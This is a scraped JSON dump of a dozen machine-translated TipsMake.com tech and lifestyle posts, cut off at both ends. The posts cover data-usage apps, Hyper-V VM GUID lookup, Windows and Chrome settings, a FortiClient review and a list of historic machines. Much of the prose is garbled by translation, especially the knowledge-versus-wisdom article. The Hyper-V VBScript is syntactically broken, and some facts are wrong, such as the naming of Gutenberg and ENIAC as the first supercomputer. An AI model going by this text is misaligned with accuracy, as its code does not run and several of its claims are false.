combination of data usage tracker and data rate and speed checker. The application will help you maintain a stable wireless connection and also monitor the amount of data you are using.\nYou can specify the duration and limit of data packets and RadioOpt will monitor usage and alert you when the limit is exceeded. You will also not be surprised about roaming charges because it keeps a separate record of roaming data usage.\n  The application has a powerful speed test tool that helps users to check the speed of Wi-Fi or mobile data including upload speed, download speed and ping speed.\nIt can also create a coverage map to see where to get the best signal from the nearest network tower. All of these tests can be directly compared to those around you to see if you are getting the same speed.\n3. Glasswire Data Usage Monitor Download Glasswire Data Usage Monitor on Android\nGlasswire, the popular network traffic monitoring application for this desktop computer, also has an application for Android devices. Like the desktop version, this application also focuses on monitoring network usage and recording application behavior.\nIt can track applications that are using mobile data, WiFi and notify you when you exceed the packet limit. You can track data usage in real time and even come back to see which applications have used the data on a specific date.\n  Glasswire also prompts users whenever a new application uses the Internet. If the data provider provides unlimited data usage for a specific application like Facebook, you can also exclude it from data monitoring.\n4. Data Usage Download Data Usage for Android\nDownload Data Usage for iOS\nThe application tracks reliable data usage focusing on helping users use uniformly specified limits for a certain period of time. In addition to monitoring and warning of normal data, Data Usage also has predictive features for users to know when the data limit is reached based on their normal usage. If one day you use more data than usual, you will be alerted immediately.\n  Moreover, Data Usage has a dedicated utility that allows you to use data in real time and use it daily. In addition, the application also has the ability to disable data connection if the setting limit is reached.\n5. DataMan Next Download DataMan Next for iOS\nA beautiful app with a compact design, DataMan provides only the features you need and works well. The application allows to track the data usage of each application and the process of limiting the overall data.\n  It also has a prediction feature that indicates when to exceed the limit based on current data usage.\nSee more:\nWhat to do when mobile data does not work on the Andrdoid device? Does Facebook application consume too much of your mobile data? This is how to fix it 10 ways to save mobile data on Android ncG1vNJzZmismaXArq3KnmWcp51kgm65zpugpZ1dma61rYymmKeZl5q6prrTZpipqJyesKLAyKilrGWfo3qqu9JmmKecoqS2pQ%3D%3D\n","link":"/post/5-mobile-data-management-applications-on-ios-android/","section":"post","tags":null,"title":"5 mobile data management applications on iOS, Android"},{"body":"TipsMake.com - When it is necessary to identify a certain virtual machine component in the system, for some reason, such as changing hardware-related settings, fixing NTFS permissions problems. . then we need to know the ID or GUID parameters of that virtual machine. In the following article, we will introduce you some basic operations to perform this process.\nFind the Virtual Machine GUID parameter in the XML configuration file: To do this, open the Virtual Machine's archive directory, where there will be a * .XML file with lots of specific settings for the virtual machine. Typically, the section name is quite long with many key characters and digits as the GUID of the Virtual Machine:\n  On the other hand, you can use a vbscript script written by Michael Michael from Microsoft TechNet. When active, the system will display a list of all virtual machines in the Hyper-V system and the corresponding GUID parameters.\nSource code:\n Option Explicit Dim WMIService Dim VMList Dim VMSettingList Dim VMSettingList Dim VM Dim item Dim setting Dim component 'Get instance of' virtualization 'WMI service on the local computer Set WMIService = GetObject (\"winmgmts: .rootvirtualization\")' Get all the MSVM_ComputerSystem object Set VMList = WMIService.ExecQuery (\"SELECT * FROM Msvm_ComputerSystem\") For Each VM Print VMList if VM.Caption = \"Virtual Machine\" then WScript.Echo \"================== ====================== \"WScript.Echo\" VM Name: \"\u0026amp; VM.ElementName WScript.Echo\" VM GUID: \"\u0026amp; VM.Name WScript.Echo \"VM State:\" \u0026amp; VM.EnabledState 'Now get the BIOS GUID for this VM Set VMSettingList = WMIService.ExecQuery (\"SELECT * FROM Msvm_VirtualSystemSettingData\") For Each setting Print VMSettingList Dim tempVMname tempVMName = \"Microsoft:\" + VM.Name if setting.InstanceID = tempVMName then WScript.Echo \"VM BIOS GUID:\" \u0026amp; setting.BIOSGUID end if Next end if Next    And then there is the PowerShell management library for Hyper-V - a very useful general project for users, with more than 80 major support functions. After conducting import of this management library, you type the command according to the syntax below:\nget-vm | ft ElementName, name\n  A simpler way is to use the query function to be a repository of Windows Management Instrumentation repository - WMI. To do this, copy the following code and enter the PowerShell window with the corresponding parameters:\nGet-WmiObject -Namespace rootvirtualization -class msvm_computersystem | select elementname, operationalstatus, processid, name | ft -auto\nExamples are as follows:\n  After obtaining specific Process ID or GUID information, we can perform operations with the remaining Virtual Machines in the system without fear of impact or confusion. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC4y56arWWknbJuvNGomp6ro2K2pXnIp52oqp2Wwaq7zWamq2WXqralec6fZKGxoJq%2Ft3nVoqmtrZGheq6twqGgp50%3D\n","link":"/post/collect-the-process-id-information-or-guid-of-hyper-v-virtual-machine/","section":"post","tags":null,"title":"Collect the Process ID information or GUID of Hyper-V Virtual Machine"},{"body":" 11 characteristics of people with smart thinking Maybe many of us will think that knowing , being wise and wise are three synonyms, but in reality it is not. Although all three words are used to refer to the brain, thought and experience accumulate over time, but they have distinct differences in the inner nature and when applied to living. Invite you to join TipsMake.com to learn how different \" knowledgeable, wise and wise \"!\nUnderstanding - Wisdom - Wisdom   \nUnderstanding is the accumulation of things and information that you have learned or have the opportunity to experience in life. Understanding comes when you are aware of the problem and have data about it. In essence, knowledge is the facts and ideas that we get through research, surveys, observations or experiences.\nBeing wise is the ability to perceive and judge aspects of a problem according to understanding that is true, sustainable and applicable to your life. Wisdom is the ability to apply your understanding to larger plans of life. Besides, wisdom is also deeper, recognizing the meaning or cause and knowing why and the meaning of a problem happening in life.\nWisdom is the deepest level of awareness and has the greatest meaning in life. Being wise gives us a deeper and clearer sense of self about life, than understanding and wisdom. Deeper insight than knowledge, is the quintessence of wisdom. Discernment of a better understanding of life, wisdom is a bigger picture of the connection of things.\nSummary: If knowledge is information, insight is understanding and applying to life, then wisdom is an understanding of the inner nature of a truth.\nHowever, sadly, it can take us a lifetime to accumulate understanding for ourselves but may never see the wisdom within. We can be wise but still miss the deeper meaning behind it.\nChristopher Reiss has briefly summarized the difference between these three elements on Quora .\n\" Knowledge is measuring that desert path is 12.4 miles long.\nWisdom is packing enough water cho hike.\nInsight is building a lemonade at the 6th mile. \"\nTemporarily translate:\n\" Measurement knowledge is desert 12.4 miles long.\nWise to bring enough water for the trip.\nAnd wisely built a lemonade counter in the sixth mile. \"\nUnderstanding is knowing how to manage money, budget for spending and savings.\nIt is wise to understand how money affects our quality of life and our future.\nIt is wise to realize that money is just a tool to use, no more meaningful than its benefits.\n  Understanding is learning how to draw and how to use that skill to cultivate livelihoods.\nBeing wise is expressing your passion through painting and understanding art is an easy form of communication that touches the lives of others.\nWisdom recognizes that everything can be art and create your own art, contribute, realize and express the nature of the world around you.\nLiving is not merely a survival, enjoy life in a truly meaningful way   Understanding that objects, actions, people and joy can make you feel happy.\nKnowing wisely that the things listed above bring you joy, happiness cannot be obtained from objects, circumstances or people. Wisdom understands that happiness comes from within and it is a temporary state of the brain.\nWisdom knows that happiness is not the purpose of life, not the creator of quality of life, it is just one of many feelings of the brain when the brain reflects emotions. Those emotions do not create life but they are just experiences.\nKnowledge - wise - wise is worthwhile and has an important place in our lives. It is easy to see that many people today still cannot distinguish the differences between these three words, often understanding and applying them to each other. A clear and alert awareness, how the brain works is important to understand the meaning of these three words. While grasping information and applying them, we should also screen and evaluate information, ultimately recognizing our deep meaning and connection to the entire world. Perhaps the best form of understanding is to grasp all three of these words and understand how they capture these three words and understand how we improve quality and experience life.\nRefer to some more articles:\nTop 11 reasons why we are getting a little bit more 20 pictures illustrating the crazy world we live in 5 mistakes in the past can be corrected from today Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2gn56Vp7KvwIyiqmajnqTErbHDoJxmr5mosbC5jJqlnWWZo8Cqs8et\n","link":"/post/how-different-is-knowledge-wisdom-and-insight/","section":"post","tags":null,"title":"How different is knowledge, wisdom and insight?"},{"body":"Microsoft has started promoting the new Edge browser in the Start menu, urging Windows 10 users to download and use the tool. This is not a bad thing, because everyone is doing that and moreover, Edge Chromium is really a very good browser.\nBut if you want to turn off these suggestive ads, appear as labels recommended or advertised by Microsoft, you can do so with the Registry or Settings.\n Block ads about Microsoft Edge in the Windows 10 Start menu To turn off ads for Microsoft Edge in the Windows 10 Start menu, follow this procedure.\n1. Use Registry Editor Block ads on Microsoft Edge with the Registry Open Registry Editor on a Windows 10 PC.\nIn the Registry Editor window, enter the given path and click Enter.\nHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionContentDeliveryManager Select the ContentDeliveryManager folder and then move to the right panel.\nIn the right panel, find the registry file named SubscribedContent-338388Enabled\nWhen you find it, right-click on it and select the Modify option . If this registry file is not available, create a new 32-bit DWORD value and name it SubscribedContent-338388Enabled.\nThen, set the value data to 0 , then click the OK button to save the changes.\nNow, close the window. All operations are completed.\n2. Disable ads about Microsoft Edge through Windows Settings Block ads on Microsoft Edge with Settings If you feel that it is not okay with Registry Editor, you can use Windows Settings as another way to disable ads. Here's how:\nFirst of all, open Windows Settings ( Win+ I) and select the Personalization category .\nOn the Personalization page , select the Start option from the left panel.\nNavigate to the right panel and locate the Show suggestions occasionally in Start option .\nBy default, this option is enabled. So to disable it, just click the convert button to turn off the option.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCdqmaZkqTCtXnMopqrp6Oks7V5xJ2enmWWp7yuecCpp56Zop67qHnIp2StoJVixKq6w6iurGVhZXq0wMCrq2allaPC\n","link":"/post/how-to-block-ads-about-microsoft-edge-from-appearing-in-the-windows-10-start-menu/","section":"post","tags":null,"title":"How to block ads about Microsoft Edge from appearing in the Windows 10 Start menu"},{"body":"For documents with many terms or users who want to explain more about the content, but do not want to write right in the document content, you can use Footnote to insert footnotes. The option to insert Footnote in Word is displayed right in the toolbar, so the operation is very simple. Google Docs also has the option to insert notes at the bottom of the page so you can explain more about what a word means.\nWords with footer notes are numbered to identify when someone is reading the document. The following article will guide you how to insert footnotes in Google Docs.\nHow to add Google Keep notes to Google Docs How to find and add citations in Google Docs How to delete Footnote notes in the footer of Word How to insert Text Box in Google Docs Instructions for inserting Footnote in Google Docs Video tutorial to create footnotes in Docs Step 1:\nUsers access to Google Docs and then open the document to edit the content, insert footer notes. At the document interface, we highlight the words to be annotated , then choose Insert , click Next Select the footnotes .\n  Step 2:\nThe results you see at the bottom of the page add a numbered note line 1. The user enters the text of the note for the word to explain.\n  Step 3:\nThe user continues to add other content notes and the words to be inserted notes will be numbered to identify.\n  Step 4:\nThe notes inserted in Google Docs have the option to change the format as usual. If you want other people to pay more attention, you can add color to the number of the word that has been annotated so that the reader will pay attention quickly, changing the type of number displayed.\n  Step 5:\nThe content notes at the bottom of the page are also edited format. Users black out as usual then select the format to be changed for text. If needed, the background color can be inserted as well as the font color for the caption content.\n  Step 6:\nTo delete the created notes , users only need to delete the order in the words to note . Immediately the content of footnotes is automatically deleted without you needing to do more. At this time, the remaining annotated words will automatically be changed the order of inserting notes.\n  Thus, the operation of inserting footnotes on Google Docs is very simple. Footnote on Docs by default displays in numerical order, there are not many options like when you insert notes in Word such as selecting the display position, choosing the order of words from, .\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyfpqisnqTBpr%2BMoqVmn5%2BktK2xjJ2mnKs%3D\n","link":"/post/how-to-insert-footnotes-in-google-docs/","section":"post","tags":null,"title":"How to insert footnotes in Google Docs"},{"body":"Often times many people automatically log in to apps on their phones and thereby lead to forgotten passwords, or long-term absence of using Instagram accounts, so forget the password. Then we need to recover the Instagram password to be able to use the application again. The following article will guide you how to recover your Instagram account when losing your password.\nNote:\nTo retrieve your Instagram password, you need to remember your registered email address. In the event of loss of access to Gmail: Retrieve your Gmail account password according to the tutorial How to retrieve your Gmail password, Google login password.  If we still have access to Instagram, we can change Instagram information including changing Gmail account or a new phone number. Then proceed to reset Instagram password 1. Retrieve Instagram password on phone Step 1:\nFirst of all, open the Instagram app on your phone and tap Sign In. Then enter the name, phone number or email address used to register your account. Continue to click Forgot Password .\nStep 2:\nYou will now be asked to enter your Instagram username or phone number to get a link to access your account. Click Next below. Instagram will then give you the option to get a link to access your account .\nNote that you should choose an email address . If we choose a phone, we will always have access to Instagram. Then you will have to change your email address and reset your account password with the email option.\u0026nbsp;\nStep 3:\nWe will receive a link or an access code. In this interface you will have the option to immediately access your Instagram account without a password. However, click reset your Instagram password .\nStep 4:\nNow display the interface for us to enter a new Instagram password, change another Instagram password. To do this on the app, press Open with Instagram. Then also displays the interface to enter a new Instagram password.\n2. Get your Instagram PC account back when you lose your password Step 1:\nAt the interface on your computer, go to the Instagram password reset link according to the link below.\nLink reset Instagram password In this interface we also enter email address , phone number and Instagram account name and then click Send Login Link .\n  Step 2:\nAt this point, your email address will receive an Instagram account password reset link . You access that link.\n  As a result we will also be moved to the new Instagram password input interface.\n  Good luck.\nchange Instagram password ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZJqmXZ67tMDAoKmapV2lrrS%2F1qipnQ%3D%3D\n","link":"/post/how-to-retrieve-an-instagram-password/","section":"post","tags":null,"title":"How to retrieve an Instagram password"},{"body":"Most major browsers such as Google Chrome, Microsoft Edge (both Legacy and Chromium versions), Firefox, Opera and many other platforms are equipped with integrated PDF reader (PDF Viewer). However, with the growing popularity of the PDF file format, many PDF-reading tools built into the browser have become outdated, sluggish, and lacking in intuition. Making users sometimes forced to use third-party tools.\nRecently, new browser developers have started pushing for improvements and adding new features to their PDF Viewer tool, Firefox is no exception. Starting with Firefox 78, the built-in PDF viewer in Firefox (PDF.js) can be set as the default PDF reader tool on Windows 10. Mozilla has made a series of necessary changes for Firefox to browse. Can be installed as the default PDF processing tool on Windows 10, making it easy for users to manipulate PDF files on the system without installing additional third-party tools.\nBasically, Firefox PDF Viewer comes with the following features:\nPrinting support. Lets you download PDF files to save on your computer. Support a variety of different document views. Display PDF document thumbnails in sidebar. Be constantly updated by Mozilla with improvements, bug fixes and new features. To turn Firefox into the default PDF reader in Windows 10, just follow these steps:\nStep 1: Make sure you use Firefox version 78 and above. Navigate to Start\u0026gt; Settings\u0026gt; Apps\u0026gt; Default Apps.\nStep 2: Scroll down and click on the ' Choose default apps by file type ' option.\nStep 3: Continue scrolling down and looking for .pdf , click on the current default Program icon.\nStep 4: In the ' Choose an app ' dialog box , select Firefox.\nSelect Firefox Step 5: Open any PDF file on the device, you will see this document displayed in Firefox.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqntdGenaiwXZbAbsDHnmSdnZaWwq3AjKmbn2Wimq6lsdFmoKdlp567pbvWrGRqaA%3D%3D\n","link":"/post/how-to-set-firefox-as-the-default-pdf-reader-in-windows-10/","section":"post","tags":null,"title":"How to set Firefox as the default PDF reader in Windows 10"},{"body":"You don't have to be a painter to create great painting: Google Arts \u0026amp; Culture, the mobile version of Google, helps you do just that, by making simple photos on your smartphone. make art masterpieces not inferior to the works of great names like Vincent van Gogh or Frida Kahlo.\nTo start your new 'creative career', the first thing you need to do is visit the Google Play app store or Apple App Store, search for an app called 'Google Arts \u0026amp; Culture' and download it. machine. Google Arts \u0026amp; Culture is an online platform through which anyone can access the digital version of long-standing artworks, stored in museums, galleries, and a The series of famous artwork comes from many cultural organizations around the world.\nAfter the download and installation process is complete, open the application and click on the camera icon in the center:\n  Now, you click on the first item: \" Art Transfer \", you will see a picture capture interface as usual.\n   Just click take a new photo or select a photo saved in the library, the application will immediately introduce a series of conversion options to make your photo more artistic. Choose a style you like, and Google's AI tool will do the rest. After the conversion process is complete, there is even a Share button so you can quickly share your work on social networks or save to cloud memory 'as a souvenir'.\n  Basically, Art Transfer, developed from an algorithm model trained by Google AI from a data source of thousands of works of art in many different schools of painting. Help create a unique photo inspired by countless styles.\n\"Artificial intelligence in particular can be a powerful tool not only in the hands of artists, but also a way for people to experience and learn about art in new and exciting ways,\" said the director. Google Arts \u0026amp; Culture managing director Michelle Lu, said.\nDownload Google Arts \u0026amp; Culture for iOS and Google Arts \u0026amp; Culture for Android here :\u0026nbsp;https://play.google.com/store/apps/details?id=com.google.android.apps.cultural\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqou86go55lkafBtHmMmqWdZV2Ywq3A1KucZqyfYrCzscCtnGaxn6q%2FbrvWp2SpmZmjwaq6xmakmqukmr%2BxtcScnKw%3D\n","link":"/post/how-to-use-google-arts-culture-to-create-your-own-painting-masterpieces/","section":"post","tags":null,"title":"How to use Google Arts \u0026amp; Culture to create your own 'painting masterpieces'"},{"body":"Intel first introduced its Optane Memory H20 solid state drive late last year. Optane Memory H20 is the sequel to 2019's Optane Memory H10, combining 3D Xpoint-based Optane memory technology and 3D QLC NAND flash on a single M.2 card.\nUnlike Optane-branded standalone SSDs, Intel Optane Memory is designed for slower storage acceleration on compatible systems, to improve transfer speeds and reduce latency.\nThe Intel Optane Memory H20 is a solid state drive that combines Intel's latest Optane Memory and NAND flash on a single M.2 2280 card, yet offers the benefits of both.\n  Optane Memory is Intel's proprietary technology designed to improve performance in applications, especially when running them from slower storage devices, and it falls somewhere between RAM and traditional memory in terms of speed. degree. Optane memory cards are usually sold in M.2 form and come in sizes as small as 16GB or 32GB.\nIntel's Optane Memory H20 features 32GB paired with 1TB (or 512GB) of Intel's latest 144-layer QLC NAND flash chip, along with new Optane Memory.\nWhen Optane Memory and NAND are accessed simultaneously, the transfer rate is much better. Intel rates the drive's highest transfer speeds as 3.3GB/s (read) and 2.1GB/s (write).\nOptane Memory will only work in Windows 10 64-bit systems with the latest Intel processors and 500 series chipsets.\nIntel will make the drive available to OEMs for use in laptops, all-in-ones, and mini PCs on June 20.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkmqaepMKvr8SsZKedp2LAtLCMsKCtoF2kvbWtzZ5kpp2dpL%2B6ecCnm2amkaOxbrLLmqqh\n","link":"/post/intel-announces-new-ssd-with-optane-memory-and-nand-flash/","section":"post","tags":null,"title":"Intel announces new SSD with Optane Memory and NAND flash"},{"body":"Pokemon Go is a game phenomenon that is storming the world. However, in wild nature there exist exotic animals possessing superhuman abilities: poisoning, stealth, health . no less than virtual Pokemon creatures.\n  Puffer fish , the ability to power is to use poison.This is one of the two most exclusive fish species on the planet.\n  Dumbo octopus , power ability: super intellect.Dumbo octopus has a funny name but it is actually considered super smart in the animal world.They live at a depth of 7,000 m, and are the animals that live in the deepest waters ever discovered.\n  Moma alpium , ability to power: causing terrible itching, causing loss of control.The caterpillar possesses poisonous hairs that have an arrow-shaped, hollow teeth like needles.Its base is connected to the poison gland, secrete a toxic epidemic filled with hair.When exposed, toxic fur on the outside of the insect's body will light up inside the enemy's skin.\n  Glass frog, power ability: Stealth.This frog possesses a transparent glass-like layer of glass that can be dangerous and invisible to evade enemies.\n  Latino Birgus crab , powerful ability: Super hard, extremely high defense ability.With this hard armor like iron and steel, even monkeys use pliers, it is difficult for humans to break its layer.\n   Uakari red face monkey , power ability: Super power.Possessing superhuman health and thick fur minimizing the damage, uakari monkey face is actually a formidable animal warrior.\n   Satan demon gecko , power ability: camouflage.All day they hung themselves motionlessly on the branches or crawled beside the dry foliage.So if this animal doesn't want to show it to you, it's really hard to recognize them.\n   Mitsukurina owstoni goblin shark , power ability: Biting the fastest prey.This is one of the most haunting deep sea sharks in the ocean.With razor-sharp teeth, this shark only takes a few seconds to crush its prey.\n   Platypus, power ability: Poisonous.No one could have imagined that the seemingly gentle animal had poison.Males have a stimulating part on their hind legs, secrete venom that can cause pain to other species.\n    Star-nose mole , power ability: Super transmission.They are \"bestowed\" by nature with a very special nose, this is the most tactile touch organ in the world.This nose helps the mole rat to recognize all activities in the dark and quickly hunt and kill prey.\n    Fregata marine magnificens , powerful ability: Seductive.They have red goiter pockets that can be enlarged greatly during the breeding season, helping them to impress females in an impressive way.\n   Red lip bats, power ability: Deep play.Just like an actor, this animal displayed a sad, poor face all day long.This face helps them seduce both prey and trapped mates.\n   Animal with chlamyphorus truncatus , power ability: Digging.If it comes to the ability to \"paddle\", perhaps this apricot mammal will be number one in the world.Their ability to burrow makes the whole world impressive.\n   Monkey Aye-aye , power ability: Super fingers.Monkey Aye-aye was surprised by the five small, long, odd, odd, slender fingers.In particular, these fingers are very sensitive.They will knock on the stalks and listen to the reverberating sound and determine the exact location of the larvae, bugs hiding in the trunk.Aye Aye has the ability to sense insect movements.\nAccording to Sina\nncG1vNJzZmismaXArq3KnmWcp51kuqK%2B1Z6jZpmkYq6vtcyao6xlp57BqXnSrqeeqpiquqK6jJqZoqSZqbamv4ytn5qsXaG8sLeMnq%2Bam6Shxm64yKScZqifoLKuu80%3D\n","link":"/post/marvel-at-animals-with-superhuman-abilities-that-look-exactly-like-pokemon/","section":"post","tags":null,"title":"Marvel at animals with superhuman abilities that look exactly like Pokemon"},{"body":"FortiClient is a free antivirus product from Fortinet. Fortinet is known for producing network security hardware products. FortiClient is a cross-platform program, available for Windows, macOS, Linux, Windows Phone, iOS, and Android.\nDownload FortiClient here 1. Features of FortiClient Before installing the main program, FortiClient scanned the system with an offline scan tool called FortiClient Virus Cleaner . After FortiClient Virus Cleaner finishes, FortiClient Setup will install FortiClient on the computer.\nAll features provided by FortiClient are presented by a dedicated tab in the left sidebar of the program. Clicking on it opens the settings and details in the right pane of the program window.\n FortiClient has 6 side tabs listing all the features of this program.\nCompliance Sandbox Detection AntiVirus Web Security Remote Access Vulnerability Scan Compliance The Compliance part requires either Fortinet hardware, FortiClient Enterprise Management Server (FortiClient EMS), or active FortiGate device.\nSandbox Detection Sandbox Detection is another feature for businesses. With the help of Sandbox Detection, FortiClient can integrate with FortiSandbox, another security related technology from Fortinet.\nYou need to enter the server address in Sandbox Detection to enable the feature on your server. You can then choose preferred settings for different events in FortiSandbox Submission Options .\nAntiVirus Antivirus is the main component of FortiClient. You can check the FortiClient AntiVirus component's details by clicking on the Settings button located next to the Realtime Protection Enabled (or Disabled ) option. The Status section displays important security information about your computer, such as database updates, threat detection, and scan schedules.\nWeb Security Web Security is the most powerful component provided by this software. FortiClient brings enterprise-grade Web Filtering Firewall for home users. Web Filtering is not only a web security feature, but also a feature called Parental Control (parental controls).\nIn the Protection by Site Category option , you can specify the category of websites that you want to block on your computer or network. FortiClient will then block all websites under those categories. FortiClient uses a powerful enterprise-grade Web Filter Database to block harmful websites.\nRemote Access Remote Access is a Virtual Private Network (VPN) feature provided by FortiClient. Both types of VPN, SSL-VPN and IPsec VPN, are supported.\nVulnerability Scan Vulnerability Scan tool will scan the system for vulnerabilities and protect the system from any possible exploit operations.\n2. Installation Click the Settings option in the File tab of the program menu bar to open FortiClient Settings.\nFortiClient Settings are divided into the following five sections.\nSystem Logging VPN Options AntiVirus Options Advanced Types of scans All major scan types are available in FortiClient. You can run custom scans, full scans, quick scans, and external media scans (options for Custom Scan, Full Scan, Quick Scan, and Removable media Scan, respectively ).\n 3. System impact and resource use Use hard drive There is no offline installer for FortiClient. You must download an online installer to download and install this antivirus software. The FortiClient installer downloads the FortiClient Virus Scanner and FortiClient Setup files . The scanner is about 10MB and the setup is about 30MB. Once installed and updated, FortiClient Free Antivirus uses about 600MB of disk space.\nUse CPU and RAM when inactive FortiClient runs many processes in the background. However, they have absolutely no effect on system performance. It only uses about 50MB of RAM. CPU usage is stable at 0%.\n Use CPU and RAM when scanning Not much impact on the system even when FortiClient was scanning it. It only uses about 60MB of RAM while performing a full system scan. During the scan, there are 2 FortiClient processes using the power of the CPU - av_task and FortiClient Console .\n  The av_task process's CPU usage fluctuates between 5 and 15% (stable at around 10%) and the CPU usage of the FortiClient Console process fluctuates between 8 and 12% (stable at around 10 %).\nSo a total of about 20% of CPU power is used continuously while performing a full system scan.\n5. User interface and ease of use The interface is very modest. Everything is contained in a small program window. FortiClient has 6 side tabs representing each feature. Clicking on each tab opens settings related to that feature. Blue theme is great for Windows.\nFortiClient ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6urGWfo3qnu9GtoJykmZq7tXnAZp2rnZVisLO70qynpZmkm7yzuYyapa2hpp6%2Ftr%2BMqamon6KWug%3D%3D\n","link":"/post/reviews-on-forticlient-a-free-cross-platform-antivirus-program/","section":"post","tags":null,"title":"Reviews on FortiClient, a free cross-platform antivirus program"},{"body":"Steam chillers, Heinkel HeS 3, IMP, Ford Model T . are the machines that have really made a breakthrough in human history.\nPrecursor of the Internet\nIMP - the interface message processor is the machine used by Leonard Kleinrock and his team to send the first message to a computer using the ARPANET time-sharing computer network on October 29 / 1969. This is considered the beginning of the Internet today.\n  First jet engine\n  Heinkel HeS 3 is the first jet engine to power an aircraft called Heinkel He 178. Heinkel HeS 3 was designed by Hans von Ohain.\nRobot Curiosity\n  Curiosity, the official name of \"Mars Science Laboratory\" is the largest and most modern exploration vehicle in human history that ever landed on the surface of another planet. As the name implies, this machine is actually a wheel lab. On August 6, 2012, Curiosity landed on the Red Planet and traveled a total of 17 km.\nFord Model T\n  The first Ford Model T was completed on September 27, 1908 and is considered to be the model that contributed much to the history of the automotive industry. By 1929, there were nearly 15 million Model Ts delivered to customers. Model T has helped change the way American people live, work and play.\nChiller uses steam\n  The first US patent on the method of making artificial tape was awarded to Dr. John Gorrie's invention. This invention paved the way for the commercialization of refrigerators and the way people store and transport food.\nSupercomputer ENIAC\n  This is the first supercomputer in the world, it weighs 80 tons and occupies a floor area of ​​167 m2. Built to solve large-scale arithmetic problems, ENIAC can perform orbital calculations and of course, compared to manual calculations, it gives much faster results. ENIAC is also considered to be one of the first data storage centers created.\nCT scanner\n  The first computerized tomography computer used in medicine and digitized into a computerized tomography image created by biomedical engineer Godfrey Newbold Hounsfield in 1971. With this CT scanner, doctors Doctors can look inside a person's body without surgery. The advent of CT scanners has helped revolutionize medical care.\nWind turbine\n  The first person to invent wind turbines that could generate electricity was Scottish engineer James Blyth but the first person to implement it was Charles Brush. In 1888, Charles Brush created an automatic power-generating wind turbine (15 meters in diameter, including 144 cedarwood blades) in the backyard of the mansion in Cleveland. can generate about 1,200 watts of electricity, providing enough energy for 100 incandescent light bulbs.\nHubble Space Telescope\n  This is the largest and most powerful telescope ever launched. According to the US Space Agency (NASA), since the Galileo telescope was born, Hubble is the most important advancement in astronomy. Hubble has helped us better understand what is happening in the vast universe as stars are formed, the universe is not only expanding but also accelerating .\nGutenberg printing method\n  In 1450, Julian Gutenberg officially began manufacturing a variable-type metal printer in the city of Mainz in Germany. Gutenberg's printers revolutionized books, reducing printing costs, making education easier for doctors and magazines.\nChina's artificial sun will be operational by 2020 Successfully fabricated flexible glass, which can only be bent, not broken ncG1vNJzZmismaXArq3KnmWcp51kwamxjGpnZp%2Bimq61sdKtZKaZk522r7HSZqCnZZiquqK6jKGgrKyfp8Y%3D\n","link":"/post/the-10-greatest-machines-in-human-history/","section":"post","tags":null,"title":"The 10 greatest machines in human history"},{"body":"In a recently released official announcement regarding Chrome, Google said the world's most popular web browser platform will switch to using HTTPS as the default protocol for all URLs entered in the location bar. just.\nThis change will be officially applied starting with the next (stable) update of the desktop and Android versions of Chrome browsers. Probably the Chrome 90 version, expected to be released on April 13. Meanwhile, Chrome users on iOS will most likely have to wait until the end of this year to receive an update containing this change.\nIn fact, Google started experimenting with using HTTPS as the default navigation protocol in Chrome last month. This is implemented as an 'internal', limited test plan for Chrome Canary, Dev, or Beta users.\nThe move is part of a larger effort that Google is focusing on to protect users against the malicious activity of online attackers trying to block their unencrypted web traffic, as well as speed up the loading of websites served over HTTPS.\n\" Now Chrome will default to using HTTPS for most non-protocol-specified navigation by default. In addition to improving security and obvious privacy, this change also greatly improves the speed. Initial load of HTTPS-enabled sites, as Chrome will connect directly to the HTTPS endpoint without having to redirect from http:/// to https: //.\nFor sites that don't yet support HTTPS, Chrome will revert to HTTP when HTTPS navigation attempts fail (including when there is a certificate error, such as name mismatch, self-signed certificate. ) unreliable or connection error, such as DNS resolution error) '.\n Emulates before and after using default HTTPS navigation. Photo source: Google\nHow to test Google Chrome users who want to experience this new feature before it is released on the stable channel can turn on the test flag.\nFirst you will have to visit\nchrome://flags/#omnibox-default-typed-navigations-to-https and enable HTTPS as the default navigation protocol.\nYou can also choose a 3 or 10 second timeout to give the browser enough time to determine the availability of the HTTPS URL.\n  If you can't find the HTTPS version of a website you entered in the address bar, Chrome will automatically return to the HTTP URL.\nHTTPS protects users by encrypting traffic sent over the network, so sensitive information users enter on websites cannot be intercepted or modified by attackers or eavesdroppers.\nUsing HTTPS as the default protocol is a necessary change to ensure Chrome always uses secure connections by default.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2cn5mlocFuusCvoKCZpJ68r3nPq6atp5OkuW67zWaeqKeXobJur8erpqadXZ7Abq%2FOpqCnn12pvG6uxGafraygqA%3D%3D\n","link":"/post/the-default-navigation-protocol-on-google-chrome-is-coming-to-be-https/","section":"post","tags":null,"title":"The default navigation protocol on Google Chrome is coming to be HTTPS"},{"body":"When buying an Apple computer, in case you buy a new computer 100%, the original seal is not active, we do not have much to say to each other because it will be guaranteed within 1 year, above Global. This means that whether you buy a device in the US, Singapore or a portable product, you will get a genuine warranty in Vietnam.\n  \nApple computers mentioned here include MacBook, MacBook Pro, MacBook Air, MacBook Pro Retina, iMac and MacPro. What about buying an old machine? How is warranty and warranty? Here are a few small notes, if there are shortcomings, please receive the contribution of everyone.\nWhen buying a second-hand machine, it is certain that you have to negotiate with the seller about warranty conditions, although different sellers have different warranty policies. However, it is a personal seller warranty and it is quite a bad thing to be an individual, to really trust and ask every problem when it is a problem. Anyway, the genuine warranty is still the best, Apple computers have a 1 year genuine warranty, so if you buy an old machine, it is likely that it still has warranty. To check, you first need to know the serial number of the device.\nCheck the warranty period The Serial number of the Apple computer is printed on the back cover (bottom cover) of the machine and is shown in the About this mac section, these two serial numbers must be the same. As shown below is the location where you can find the serial of the device.\n  \n  \nApple has set up a website so you can check the warranty status of the machine, visit this page, enter your serial number in the box \"Enter your serial serial hardware: \" and press enter.\nThe returned result will be the remaining warranty period of the machine. As shown below, unfortunately, the warranty has expired.Repairs and Service Coverage - Is the warranty status, and it reports Expired, which means that the warranty has expired.\n  \nIn 